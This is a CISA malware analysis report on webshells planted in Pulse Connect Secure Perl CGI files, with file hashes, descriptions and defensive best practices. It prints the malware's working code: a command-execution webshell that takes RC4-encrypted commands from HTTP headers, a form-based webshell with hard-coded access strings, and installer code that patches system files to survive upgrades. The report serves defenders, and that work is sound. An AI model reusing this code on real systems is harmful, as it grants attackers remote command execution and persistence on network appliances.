MAR-10334587-1.v1: Pulse Connect Secure

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

Four (4) files were submitted to CISA for analysis. The files consist of shell scripts designed to modify legitimate Pulse Secure Perl Common Gateway Interface (CGI) script files. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10334587-1.v1.WHITE.stix.

Submitted Files (4)

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2 (compcheckjs.cgi)

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767 (DSUpgrade.pm.current)

85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9 (DSUpgrade.pm.rollback)

94e1a1262a01b8a343af1c98a190cd607bf6bde83656500ca0b28a5f97ccbe79 (licenseserverproto.cgi)

4e231b1525c4af04e8bf5dfc7de34a28f3441bc339130bf2a683e42b39953be2

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

Description

This file is a Pulse Secure Perl CGI script that has been modified by a malicious actor. The modified CGI script file contains a webshell script designed to check for incoming web requests using the Hypertext Transfer Protocol (HTTP) POST method. If the requested data is found, the data will be verified against a hard-coded string value. If the values matches, it will Base64 decode the data (the input command (CMD)) and then decrypt it using Rivest Cipher 4 (RC4). The RC4 key to decrypt is sent in the environment variable "HTTP_X_CNT". The decrypted data will then be executed on the target system and the commands return value to the malicious actor will be RC4 encrypted and base64 encoded.

The POST data and the key were not available for analysis.

Displayed below is the code snippets used to check for incoming web requests and decrypt the requested data:

--Begin code snippets--
sub main {
   # just show the page
   my $request_method=$ENV{'REQUEST_METHOD'};
   if ($request_method eq "POST") {
       my $x_key = $ENV{'HTTP_X_KEY'};
       if ($x_key eq "<REDACTED>") {
           my $x_cmd = $ENV{'HTTP_X_CMD'};
           my $x_cnt = $ENV{'HTTP_X_CNT'};
           $x_cmd = MIME::Base64::decode($x_cmd);
           $x_cmd = RC4($x_cnt, $x_cmd);
           my $res;
           my $re=popen(*DUMP, $x_cmd, "r");
           while(<DUMP>){
               $res .= $_;
           }
           close(*DUMP);
           print "Content-type:text/html\n\n";
           print MIME::Base64::encode(RC4($x_cnt, $res));
           exit(0);
       }
       else {
           exit(0);
       }
--End code snippets --

6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Perl application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi."

The script contains the following patched in commented out code:

—Begin Patched In Commented CGI Code—
###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install
#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install
#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend

###cgistart1
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";
#use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib/MIME/Base64";
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split('&', $input)) {
#    my ($var, $value) = split('=', $pair, 2);
#    
#    if($var) {
#     $value =~ s/\+/ /g ;
#     $value =~ s/%(..)/pack('c',hex($1))/eg;
#
#     $ret{$var} = $value;
#    }
# }
#
# return %ret;
#}
###cgiend1

###cgistart2
#    my $enckey='1234567';
#    my $data='1234567812345678';
#        my $cipher = RC4($enckey, $data);    
#        my $encode = MIME::Base64::encode($cipher);
#    my $psalLaunch = CGI::param("serverid");
#    if ($psalLaunch =~ /csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa/)
#    {
#    my ($cmd, %FORM);
#
#    $|=1;
#
#    print "Content-Type: text/html\r\n";
#    print "\r\n";
#    %FORM = parse_parameters($ENV{'QUERY_STRING'});
#
#    if(defined $FORM{'cmd'}) {
#     $cmd = $FORM{'cmd'};
#    }
#
#print '<HTML>
#<body>
#<form action="" method="GET">
#<input type="text" name="cmd" size=45 value="' . $cmd . '">
#<input type="text" name="serverid" size=45 value="csJ1TA45JzB0WJrjA5X8dpVbXcrDMVfa">
#<input type="submit" value="Run">
#</form>
#<pre>';
#
#if(defined $FORM{'cmd'}) {
# print "Results of '$cmd' execution:\n\n";
# print "-"x80;
# print "\n";
#
# print $encode;
# system $cmd;
# print "-"x80;
# print "\n";
#}
# print "</pre>";
# exit(0);
#    }
###cgiend2

##end_total
--End Patched In Commented CGI Code--

The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.

--Begin Patched In Commented Code--
sub installPackage {
my ($clean, $console, $html) = @_;

$ENV{"DSINSTALL_CLEAN"} = $clean;

##start_total
##perlstart
system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    
       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/usr/bin/gzip -d /tmp/new-pack.tgz");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");
       system("/bin/rm -f K872Bu");
       system("/bin/rm -f Mj1Za");
       system("/bin/rm -f 1uMfVB");    
       system("/bin/rm -fr root");
       system("rm -f /tmp/new-pack.tgz");
       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        
}
else{
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");
system("rm -f Nc3Gy.pm");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
system("rm -fr installer");
}
--End Patched In Commented Code--

Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

94e1a1262a01b8a343af1c98a190cd607bf6bde83656500ca0b28a5f97ccbe79

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Perl CGI script that has been modified using the script in the file "DSUpgrade.pm" (6959bbbe345b9699282b8a599b6a65e53731720905e2a40aaca16fa796ffe767). The modified CGI script file contains a webshell script to check and parse incoming web requests data from a webshell. It will search, extract, and execute command (CMD) parameters passed by the attacker on the victim's system. It creates a form containing the extracted CMD to be executed and the parameter value "serverid". The output of every CMD executed on the victim's system will include an RC4 encrypted and Base64 encoded string: "TD3ru+SCIVQ+BB1m9YlwxA==" (which has a plaintext value of "1234567812345678"). The string "1234567812345678" is encrypted first using the RC4 key "1234567" before it is Base64 encoded. These strings are hard-coded into the script.

85dd35caf68e281b078530493559c6daf1b4ed84b55fad983a8319a397c9a1c9

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

Description

This file is a Pulse Secure Perl application that has been modified to add webshell script code into the content of the Pulse Secure Perl CGI script file "/root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi."

The script contains the following patched in commented out code:

--Begin Patched In Commented CGI Code--
###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#start_total/,/\#\#end_total/w 7CxA1p' outer-do-install
#/bin/sed -i '/DSINSTALL_CLEAN/r 7CxA1p' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w GqTv3w' outer-do-install
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w Vi6d8h4' outer-do-install
#/bin/sed -i '/^use DSUtilTable/r GqTv3w' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/^sub main/r Vi6d8h4' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/#//' ./root/home/perl/DSUpgrade.pm
#/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/^/#/' ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend
--End Patched In Commented CGI Code--

The Pulse Secure Perl script also contains the following suspicious live / uncommented code. This code is designed to modify several Pulse Secure system files using the SED command as well as attempt to install code from within an archive named new-pack.tgz expected to be currently stored on the target system.

--Begin Patched In Commented Code--
sub installPackage {
my ($clean, $console, $html) = @_;

$ENV{"DSINSTALL_CLEAN"} = $clean;

##start_total
##perlstart
system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install");
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm");    
       system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w K872Bu' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/DSINSTALL_CLEAN/r K872Bu' ./root/home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/w Mj1Za' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/w 1uMfVB' /home/perl/DSUpgrade.pm");
       system("/bin/sed -i '/^use DSUtilTable/r Mj1Za' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/^sub main/r 1uMfVB' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart1/,/\#\#cgiend1/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/sed -i '/\#\#cgistart2/,/\#\#cgiend2/s/#//' ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/usr/bin/gzip -d /tmp/new-pack.tgz");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi");
       system("/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm");
       system("/bin/rm -f K872Bu");
       system("/bin/rm -f Mj1Za");
       system("/bin/rm -f 1uMfVB");    
       system("/bin/rm -fr root");
       system("rm -f /tmp/new-pack.tgz");
       system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");                                        
}
else{
system("/bin/sed -i '/\#\#start_total/,/\#\#end_total/w Nc3Gy.pm' /home/perl/DSUpgrade.pm");
system("/bin/sed -i '/packdecrypt/r Nc3Gy.pm' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#perlstart/,/\#\#perlend/s/^/#/' ./installer/outer-do-install");
system("/bin/sed -i '/\#\#scriptstart/,/\#\#scriptend/s/#//' ./installer/outer-do-install");
system("/usr/bin/gzip -d /tmp/new-pack.tgz");
system("/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install");
system("rm -f Nc3Gy.pm");
system("rm -f /tmp/new-pack.tgz");
system("/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz");
system("rm -fr installer");
}
--End Patched In Commented Code--

Analysis indicates this commented code is designed to present a web form to a remote operator, wherein the remote operator can enter commands that will be run locally on the target system. The commented code also has the capability to modify several Pulse Secure system files utilizing the SED command.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
• Monitor users' web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".

• 1-888-282-0870
• CISA Service Desk (UNCLASS)
• CISA SIPR (SIPRNET)
• CISA IC (JWICS)

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

• Web: https://malware.us-cert.gov
• E-Mail: submit@malware.us-cert.gov
• FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.